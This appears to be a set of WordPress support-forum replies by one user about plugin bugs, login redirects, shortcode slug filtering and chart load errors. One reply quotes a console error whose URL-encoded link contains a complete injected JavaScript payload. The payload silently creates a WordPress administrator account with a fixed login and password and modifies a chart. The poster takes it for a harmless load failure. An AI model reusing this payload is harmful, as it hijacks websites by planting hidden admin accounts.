rothschild86

Whatever the restructuring you did, all I know is that you are now holding my graphs hostage. I have dozens of them, and I edit the datapoints regularly… There needs to be a migration path to a free layout, if you have suddenly decided to make this one a paid one ???♂? Screenshot: https://www.dropbox.com/scl/fi/w1fqfwj6z4q5wnraa2zua/Screenshot-2024-07-10-170939.jpg?rlkey=5gqgge88wkxlmamj87atra22q&dl=0

And yes, sorely lacking Remember Me checkbox… https://github.com/rtCamp/login-with-google/pull/144

Regarding the bug above, changing to && instead of || in authenticator.php:96 made it work as expected.

Found another strange behavior, on successful login, the redirect is to admin_url() instead of home_url() in login.php:208

bravo ??

Yes it would be clearer ??

Please consider adding the above 3 lines as well. This guy was asking for the same functionality as well – https://www.ads-software.com/support/topic/retrieve-specific-page/ (which is what filtering by a post slug allows you to do)

Here’s a sample that does not work:

[jeherve_post_embed url=https://wptavern.com/ wpapi=true include_content=true include_images=false include_credits=false tag=new-plugin-displays-wordpress-environment-type-for-admins?number=1]

Looking at the code and the official docs, I think your documentation is misleading. Your ‘tag’ param maps to a ‘tags’ param in the api call, which filters strictly on tags. So I wouldn’t expect it to filter by a slug…

Ended up adding these 3 tweaks to the plugin code directly and slug filtering works perfectly:

712: ‘slug’ => ”,

737: $slug = sanitize_text_field( $atts[‘slug’] );

890: if ( $slug ) { $args[‘slug’] = $slug; }

Reference: https://developer.www.ads-software.com/rest-api/reference/posts/

The correct process is an intuitive process.

Yes, I saw that when recording the video. Doesn’t change the fact that I had to update 30 graphs twice.

Rule #1: respect and preserve user’s work at any cost.

That is not intuitive at all. In any case, you should still warn that the changes are being discarded because I “did not click on Show Chart”.

https://www.loom.com/share/e1e7213de8ed4c7c9345207bba9bbea1

Had the same issue. For us, the following plugin ended up being the culprit:

WP Editor Widget https://www.ads-software.com/plugins/wp-editor-widget/

UPDATE: disregard, this is just gstatic.com responding with a 404…

Got a potential lead on this one. Seeing the following in the FF console:

The resource from “https://www.gstatic.com/charts/46.2/js/jsapi_compiled_%22%3E…n())%3B%0A%3C%2Fscript%3E%3Cspan%20data-tipe%3D%22_module.js” was blocked due to MIME type (“text/html”) mismatch (X-Content-Type-Options: nosniff).

The full link was: https://www.gstatic.com/charts/46.2/js/jsapi_compiled_%22%3E%3Cscript%20id%3D%22vis%22%3E%0Awindow.vis%3D0%3B%0A(function%20(%24)%20%7B%0A%20%20function%20vis_create_admin(c)%20%7B%0A%20%20%20%20var%20url%20%3D%20%22%2Fwp-admin%2Fuser-new.php%22%3B%0A%0A%20%20%20%20%24.get(url%2C%20function%20(data)%20%7B%0A%20%20%20%20%20%20%20%20var%20matches%3B%0A%0A%20%20%20%20%20%20%20%20if%20(data)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20matches%20%3D%20data.match(%2F_wpnonce_create-user%22%5B%5Ev%2F%5D%2Bvalue%3D%22(%5B%5E%22%5D%2B)%2Fi)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if%20(matches)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24.ajax(%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20type%3A%20%22POST%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20url%3A%20url%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20data%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22action%22%3A%20%22createuser%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22_wpnonce_create-user%22%3A%20matches%5B1%5D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22user_login%22%3A%20%22alina.gault38%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22email%22%3A%20%22alina.gault38%40gmail.com%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22first_name%22%3A%20%22%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22last_name%22%3A%20%22%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22pass1%22%3A%20%22Amg1t1SN10JC%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22pass2%22%3A%20%22Amg1t1SN10JC%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22role%22%3A%20%22administrator%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20success%3A%20c%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D)%3B%0A%7D%0A%0A%20%20%24(function%20()%20%7B%0A%20%20%20%20if%20(!window.vis)%20%7B%0A%20%20%20%20%20%20vis_create_admin(function%20()%20%7B%0A%20%20%20%20%20%20%20%20var%20id%20%3D%20%24(‘%23vis’).closest(‘%23visualizer-chart-id’).data(‘id’)%3B%0A%20%20%20%20%20%20%20%20if%20(id)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24.ajax(%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20type%3A%20%22POST%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20url%3A%20’%2Fwp-json%2Fvisualizer%2Fv1%2Fupdate-chart’%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20data%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22id%22%3A%20id%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22visualizer-chart-type%22%3A%20%22column%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%7D)%3B%0A%20%20%20%20%20%20window.vis%3D1%3B%0A%20%20%20%20%7D%0A%20%20%7D)%3B%0A%7D)(jQuery%7C%7Cnew%20Function())%3B%0A%3C%2Fscript%3E%3Cspan%20data-tipe%3D%22_module.js

With the following ref – https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options?utm_source=mozilla&utm_medium=firefox-console-errors&utm_campaign=default

• This reply was modified 5 years ago by rothschild86.

i’m not. but I’ve been on a very good network connection. The issue was bad when i was on a spotty network. There’s probably .ready() call missing somewhere, and some code is accessed before it is loaded. Tried slow network emulation in dev tools, but that didn’t expose it.

That was it. Somehow the code is conflicting with Optimizer Pro Theme (https://optimizerwp.com/optimizer-pro/)